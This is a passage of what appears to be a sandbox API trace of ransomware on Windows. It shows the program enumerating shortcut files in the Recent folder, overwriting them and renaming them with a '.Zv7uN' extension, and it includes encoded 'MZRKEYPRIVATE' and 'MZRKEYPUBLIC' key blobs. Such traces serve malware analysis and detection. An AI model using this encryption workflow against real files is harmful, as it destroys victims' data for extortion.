CloseHandle (hObject=0x124) returned 1 [0081.589] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I9T1DkViXh.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i9t1dkvixh.mkv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.590] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xe3e, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xe3e, lpOverlapped=0x0) returned 1 [0081.592] CloseHandle (hObject=0x124) returned 1 [0081.594] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I9T1DkViXh.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i9t1dkvixh.mkv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I9T1DkViXh.mkv.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i9t1dkvixh.mkv.lnk.zv7un")) returned 1 [0081.595] GetCurrentThreadId () returned 0xa30 [0081.595] GetCurrentThreadId () returned 0xa30 [0081.595] GetCurrentThreadId () returned 0xa30 [0081.595] GetCurrentThreadId () returned 0xa30 [0081.595] GetCurrentThreadId () returned 0xa30 [0081.595] GetCurrentThreadId () returned 0xa30 [0081.596] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe104cba0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d6eae60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d6eae60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe6e, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Id3VnokaSQb1-.lnk", cAlternateFileName="ID3VNO~1.LNK")) returned 1 [0081.596] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.596] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.596] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Id3VnokaSQb1-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\id3vnokasqb1-.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe104cba0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d6eae60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d6eae60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe6e)) returned 1 [0081.596] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Id3VnokaSQb1-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\id3vnokasqb1-.lnk")) returned 0x20 [0081.596] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Id3VnokaSQb1-.lnk", dwFileAttributes=0x80) returned 1 [0081.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.598] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.599] GetCurrentThreadId () returned 0xa30 [0081.599] GetCurrentThreadId () returned 0xa30 [0081.599] GetCurrentThreadId () returned 0xa30 [0081.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.599] GetCurrentThreadId () returned 0xa30 [0081.599] GetCurrentThreadId () returned 0xa30 [0081.599] GetCurrentThreadId () returned 0xa30 [0081.599] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Id3VnokaSQb1-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\id3vnokasqb1-.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.600] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.600] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.600] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xe6e [0081.600] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.600] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xe6e, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xe6e, lpOverlapped=0x0) returned 1 [0081.601] CloseHandle (hObject=0x124) returned 1 [0081.601] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Id3VnokaSQb1-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\id3vnokasqb1-.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.602] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xe6e, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xe6e, lpOverlapped=0x0) returned 1 [0081.603] CloseHandle (hObject=0x124) returned 1 [0081.718] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Id3VnokaSQb1-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\id3vnokasqb1-.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Id3VnokaSQb1-.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\id3vnokasqb1-.lnk.zv7un")) returned 1 [0081.719] GetCurrentThreadId () returned 0xa30 [0081.719] GetCurrentThreadId () returned 0xa30 [0081.719] GetCurrentThreadId () returned 0xa30 [0081.719] GetCurrentThreadId () returned 0xa30 [0081.719] GetCurrentThreadId () returned 0xa30 [0081.719] GetCurrentThreadId () returned 0xa30 [0081.719] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe382bc20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe382bc20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe382bc20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x40b, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="iDeZDB_thMy_znW.flv.lnk", cAlternateFileName="IDEZDB~1.LNK")) returned 1 [0081.720] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.720] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.720] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iDeZDB_thMy_znW.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\idezdb_thmy_znw.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe382bc20, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe382bc20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe382bc20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x40b)) returned 1 [0081.720] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iDeZDB_thMy_znW.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\idezdb_thmy_znw.flv.lnk")) returned 0x20 [0081.720] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iDeZDB_thMy_znW.flv.lnk", dwFileAttributes=0x80) returned 1 [0081.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 